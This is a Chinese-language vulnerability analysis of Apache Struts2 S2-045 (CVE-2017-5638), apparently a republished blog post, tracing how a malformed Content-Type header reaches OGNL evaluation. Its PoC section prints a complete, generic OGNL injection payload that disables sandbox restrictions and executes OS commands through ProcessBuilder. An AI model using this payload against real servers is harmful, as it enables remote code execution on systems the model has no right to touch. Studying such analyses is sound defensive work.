S2-045(CVE-2017-5638)分析

栏目: 编程工具 · 发布时间: 5年前

内容简介:S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。从漏洞简述中可以得知是struts在处理

作者:lucifaer

作者博客: https://www.lucifaer.com/

S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。

0x00 漏洞描述

Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

S2-045(CVE-2017-5638)分析

从漏洞简述中可以得知是struts在处理 Content-Type 时如果获得未期预的值的话,将会爆出一个异常,在此异常的处理中可能会造成RCE。同时在漏洞的描述中可以得知Struts2在使用基于 Jakarta Multipart 解析器来处理文件上传时,可能会造成RCE。

Jakarta Multipart 解析器在Struts2中存在于 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 是默认组件之一,首先把这一点记录下来。

接下来看一下diff:

S2-045(CVE-2017-5638)分析

可以看到关键点在于首先判断 validation 是否为空,若为空的话则跳过处理。可见关键点在于对于 validation 的处理。

0x01 整体触发流程

MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 处理requests请求
  JakartaMultiPartRequest$parse:67 # 处理上传请求,捕捉上传异常
    JakartaMultiPartRequest$processUpload:91 # 解析请求
      JakartaMultiPartRequest$parseRequest:147 # 创建请求报文解析器,解析上传请求
        JakartaMultiPartRequest$createRequestContext # 实例化报文解析器
      FileUploadBase$parseRequest:334 # 处理符合multipart/form-data的流数据
        FileUploadBase$FileItemIteratorImpl:945 # 抛出ContentType错误的异常,并把错误的ContentType添加到报错信息中
  JakartaMultiPartRequest$parse:68 # 处理文件上传异常
    AbstractMultiPartRequest$buildErrorMessage:102 # 构建错误信息
      LocalizedMessage$LocalizedMessage:35 # 构造函数赋值
FileUploadInterceptor$intercept:264 # 进入文件上传处理流程,处理文件上传报错信息
  LocalizedTextUtil$findText:391 # 查找本地化文本消息
  LocalizedTextUtil$findText:573 # 获取默认消息
    # 以下为ognl表达式的提取与执行过程
    LocalizedTextUtil$getDefaultMessage:729
      TextParseUtil$translateVariables:44
        TextParseUtil$translateVariables:122
          TextParseUtil$translateVariables:166
            TextParser$evaluate:11
            OgnlTextParser$evaluate:10

0x02 漏洞分析

2.1 漏洞触发点

根据diff所得结果,跟进 validation 的执行流程,就如漏洞描述中所述, validation 的调用位于Struts2的 FileUploadInterceptor 也就是处理文件上传的拦截器中。

S2-045(CVE-2017-5638)分析

跟进 LocalizedTextUtil.findText

S2-045(CVE-2017-5638)分析

这边先不着急向下跟,首先看一下 valueStack 的内容是什么:

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

通过键值关系从 ActionContext 中返回ognl的堆栈结构,也就是说 valueStack 和ognl的执行相关。

接下来跟进 findText 方法,着重跟一下 valueStack ,可以发现主要是以下方法调用到该值:

findMessage()
getMessage()
getDefaultMessage()
ReflectionProviderFactory.getInstance().getRealTarget()

先不管 ReflectionProviderFactory.getInstance().getRealTarget()findMessage() 在执行过程中都会调用到 getMessage() ,而在 getMessage()getDefaultMessage() 中都存在 buildMessageFormat() 方法,该方法用于消息的格式化,而格式化的消息是由 TextParseUtil.translateVariables() 来生成的:

S2-045(CVE-2017-5638)分析

这里注意 getMessage() 方法需要设置 bundleName 这个参数,而这个参数是由 aClass 赋值的,而在整个触发流程中 aClass 是一个 File 异常类,而这个类在 Collections.java 中是找不到的,所以在执行过程中,所有的 getMessage()findMessage() 都是返回 null 的,也就是说,在整个流程中,只有 getDefaultMessage() 会被触发。

S2-045(CVE-2017-5638)分析

跟一下这个 TextParseUtil.translateVariables() 的具体实现:

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

可以看到首先对 defaultMessage 进行ognl表达式的提取,之后执行ognl表达式。所以漏洞的触发点就找到了。且触发的关键是构造一个含有ognl表达式的 defaultMessage 即:

S2-045(CVE-2017-5638)分析

2.2 触发流程

网上很多文章并没有说该漏洞的触发流程是什么样的,只是在上面的关键点下了一个断向下调试,所以只是完成了对这个流程的调试而已,并没有完整的把这个漏洞说清楚的原因(浮躁的圈子= =)。

我记录一下我 根据单元测试 而找到触发流程的过程。

根据2.1的分析,我们现在知道只要调用了 org.apache.struts2.interceptor.FileUploadInterceptor$interceptrequest 触发错误处理流程,且 validation 不为空就可以触发ognl表达式的执行。所以首先我开始寻找哪里调用了 intercept() 这个方法:

S2-045(CVE-2017-5638)分析

如上图红框的内容,我找到了针对于 FileUploadInterceptor 的单元测试,在单元测试中详尽的描述了 intercept() 的处理流程,跟进看一下我找到了一个有趣的单元测试 testInvalidContentTypeMultipartRequest()

S2-045(CVE-2017-5638)分析

还记得我们的 intercept 的处理流程么:

S2-045(CVE-2017-5638)分析

也就是说我们需要关心的只有 MyFileupAction()与request的处理流程

首先来看一下 MyFileupAction() 是否是 ValidationAware 接口的一个实例:

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

ok,是 ValidationAware 一个实现, getAction() 方法将 setAction() 设置的对象返回。接下来我们跟一下 req 的处理流程:

-> createMultipartRequest(req, 2000)
-> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider())
-> this(multiPartRequest, request, saveDir, provider, false);

S2-045(CVE-2017-5638)分析

关键点在于 multi.parse(request, saveDir); 根据调用栈,可以看到这里是调用了 JakartaMultiPartRequest 实例的 parse() 方法:

S2-045(CVE-2017-5638)分析

这里注意会捕获 FileUploadException 异常。

接着跟进 processUpload() 方法:

S2-045(CVE-2017-5638)分析

继续跟进:

S2-045(CVE-2017-5638)分析

首先看 createRequestContext() 对于请求做了哪些处理:

S2-045(CVE-2017-5638)分析

返回了一个实例化的 RequestContext() ,记住该实例有四个内置的方法:

  • getCharacterEncoding()
  • getContentType()
  • getContentLength()
  • getInputStream()

接着跟进 parseRequest()

S2-045(CVE-2017-5638)分析

跟进 getItemIterator()

S2-045(CVE-2017-5638)分析

继续跟进:

S2-045(CVE-2017-5638)分析

这一段代码首先调用了 RequestContext 实例的 getContentType() 方法,该方法就像上面调用栈中所看到的一样,会返回请求的 ContentType 字段,然后做一个存在性校验,校验 ContentType 是否为空或并非以 multipart 开头,如果上述条件成立,则抛出一个错误,并把错误的 ContentType 加入到报错信息中。这里的 InvalidContentTypeException 类是继承于 FileUploadException 的,也就是说会抛出一个 FileUploadException 的错误。

反过来看 JakartaMultiPartRequest 的异常捕获逻辑:

S2-045(CVE-2017-5638)分析

很有意思,我们直接跟进 buildErrorMessage 看一下:

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

可以看到在这里,我们将包含着我们可以自定义的 ContentType 赋值给 defaultMessage 回看2.1所说的漏洞触发点,这里就是我们发送请求将ognl传递到漏洞触发点的 defaultMessage

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

拆分消息中的ognl表达式,并执行:

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

S2-045(CVE-2017-5638)分析

0x03 构造POC

根据上面的分析,我们可以看到构造POC的关键是在发送的请求中构造一个含有ongl表达式的 ContentType 。较为通用的一个poc如下:

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

效果如下:

S2-045(CVE-2017-5638)分析

0x04 Reference


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

TED Talks Storytelling: 23 Storytelling Techniques from the Best

TED Talks Storytelling: 23 Storytelling Techniques from the Best

Akash Karia / CreateSpace Independent Publishing Platform / 2015-1-11 / USD 6.99

"Every speaker can put these ideas into practice immediately -- and they should!" ~ Dr. Richard C. Harris, Certified World Class Speaking Coach "An insightful read" ~Dennis Waller, Top 500 Revie......一起来看看 《TED Talks Storytelling: 23 Storytelling Techniques from the Best》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具